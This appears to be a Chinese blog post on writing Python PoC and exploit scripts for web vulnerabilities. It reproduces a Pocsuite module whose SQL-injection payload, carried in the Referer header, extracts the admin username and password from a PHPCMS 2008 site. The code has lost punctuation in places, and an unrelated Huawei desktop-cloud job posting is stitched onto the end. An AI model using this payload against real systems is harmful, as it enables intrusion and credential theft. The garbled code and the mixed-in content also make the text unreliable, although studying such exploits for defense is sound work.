如何使用python编写poc,exp

如何使用python编写poc,exp,第1张

然后来谈谈自己的看法:
其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。
1 Requests : 模拟Web的请求和响应等交互动作。
2 Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。
其余的大部分代码都是漏洞的信息。
Pocsuite官方文档例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from t import req
from pocsuitepoc import POCBase, Output
from pocsuiteutils import register
class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['MediciYan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = ['']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = ''
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中广告模块,存在参数过滤不严,
导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,
如果关闭了错误显示,可以采用基于时间和错误的盲注
'''
samples = ['']
def _attack(self):
result = {}
vulurl = urlparseurljoin(selfurl, '/data/jsphpid=1')
payload = "1', (SELECT 1 FROM (select count(),concat(floor(rand(0)2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schematables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = reqget(vulurl, headers=head)
if respstatus_code == 200:
match_result = research(r'Duplicate entry \'1--(+)---(+)--\' for key', respcontent, reI | reM)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_resultgroup(1)
result['AdminInfo']['Password'] = match_resultgroup(2)
return selfparse_attack(result)
def _verify(self):
result = {}
vulurl = urlparseurljoin(selfurl, '/data/jsphpid=1')
payload = "1', (SELECT 1 FROM (select count(),concat(floor(rand(0)2), md5(1))a from information_schematables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = reqget(vulurl, headers=head)
if respstatus_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in respcontent:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload
return selfparse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
outputsuccess(result)
else:
outputfail('Internet nothing returned')
return output
register(TestPOC)
可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。pocsuitenet 这个库其实就是Requests。用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。
这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。
代码很简单最主要的,还是对于漏洞的理解。
先说到这里,有空之后再写一些别的。

POC职位是项目主任协调人。

岗位职责:

1、负责华为桌面云解决方案PoC测试,包括测试方案设计、客户方案交流、环境安装部署、测试执行等。

2、负责华为桌面云解决方案版本质量改进,识别客户场景化需求及测试过程中的问题,并制定措施牵引版本改进。

3、负责友商桌面云解决方案竞争分析,识别差距点并针对性制定测试策略、测试方案等,保障技术比拼效果。

业务技能要求:

1、熟悉linux和Windows系统,掌握linux常用命令及简单shell脚本的编写,有IT系统维护经验。

2、熟悉主流的交换机、防火墙、存储、服务器基本配置管理,并对 *** 作系统、网络、计算机安全有一定理解。

3、熟悉主流的桌面虚拟化技术,熟悉Openstack,理解华为的nova、cinder、neutron、glance等组件。

4、具备良好的分析和解决问题的能力,良好的文档编写能力。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zz/10868058.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-11
下一篇 2023-05-11

发表评论

登录后才能评论

评论列表(0条)

保存